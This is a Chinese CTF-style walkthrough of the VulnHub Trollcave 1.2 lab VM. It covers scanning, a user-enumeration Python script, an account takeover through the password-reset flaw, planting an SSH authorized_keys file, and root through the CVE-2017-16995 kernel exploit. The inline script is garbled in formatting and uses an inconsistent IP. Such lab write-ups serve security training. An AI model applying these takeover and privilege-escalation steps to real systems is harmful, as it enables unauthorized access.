vulnhub靶机练习trollcave

靶机介绍

ttps://www.vulnhub.com/entry/trollcave-12,230/ Name: Trollcave: 1.2 Date release: 21 Mar 2018 Author: David Yates Series: Trollcave Web page: https://davidyat.es/2017/11/27/announcing-trollcave/

只需要读取 root/flag.txt

安装靶机环境的时候注意用virtualbox,网络改成桥接和你的攻击机网络一样,然后取消启用USB设备,不要更改原来的系统设置

攻击机:192.168.1.53

靶机:192.168.1.104

信息收集

主机发现

netdiscover -r 192.168.1.1/24

然后nmap 扫描端口:nmap -sV 192.168.1.104

发现22和80端口

然后gobuster扫描网站目录

 └─# gobuster dir -u http://192.168.1.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

 访问网站192.168.1.104

访问 /admin/ 会自动跳转到 /login /login 是用户登录的登录的页面 第一张图片是网站的文章 可以看到 king 这个账号是超级管理员(superadmin) 网页的右边是其他用户,经访问发线这些用户的称谓有些不一样。经测试用户登录随便一个密码会有提示。

编写脚本 

首先是用户信息的获取 遍历每个用户的用户名和角色

#coding:utf-8
import requests
import re def get_user(id): req = requests.get(url='http://192.168.0.149/users/%s' % (id),timeout=6).text
#match <h1>anybodyhome's page</h1> username=re.search('<h1>(.*?)\'s',req).group(1)
#match "user-info"><b>Superadmin</b>
#userlevel=re.search('>\x0A<b>\x0A(.*?)\x0A</b>',req).group(1) userlevel=re.search('>\s<b>\s(.*?)\s</b>',req).group(1) return username,userlevel
for i in range(0,20): try: username,userlevel = get_user(i)
print(username+','+userlevel) except: None

编写提示脚本 主要是获取登录的提示信息。

编写提示脚本 主要是获取登录的提示信息。

确定源码

查看文章

 

猜测源码rails,github搜索源码

https://github.com/rails/rails 

安装的时候会创建用户 rails 从文章得 网站有一个重置密码的功能 但是没有链接提交
尝试实现password_reset Railscast时语句无效 - passwords - 码客

修改密码

http://192.168.1.104/password_resets/new

修改username为xer 

 设置 xer 的密码后登录之后发现权限不高。上传文件没法使用。

将xer改为King

尝试修改权限为 superadmin king 发现不能重置密码 但是可以 用 xer 重置密码后 用户改为King 即可http://192.168.1.104/password_resets/edit.CX7RYxMgDafbVYW1mUJQmQ?name=King

密码重置成功

 上传文件覆盖

登录之后发现上传文件 但是不允许上传 在控制面板把上传限制打开,这样就可以上传文件。上传php 但是网站不能解释 php 文件,但是发现上传的文件可以上传到其他目录。因为可以试试 rails 用户是否存在如果存在可以上传 authorized_keys 到 rails 用户下的.ssh 就可以免密码登录 ssh

生成ssh秘钥

ssh-keygen -f rails
mv rails.pub authorized_keys

将 authorized_key 上传到/home/rails/.ssh/

 

ssh登录目标

mv rails id_rsa-rails 
chmod 600 id_rsa-rails
ssh -i id_rsa-rails rails@192.168.1.104

交互式shell

/bin/bash -i


提升权限

通过 cat /etc/lsb-release 得出 Ubuntu 的版本

 

 cve-2017-16995 提权

https://www.exploit-db.com/exploits/45010

目标上没有 gcc which gcc 本地编译 gcc cve-2017-16995.c -o cve

已经成功提权到 root

获取 flag.txt

慢也好,步伐小也罢,是往前走就好

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值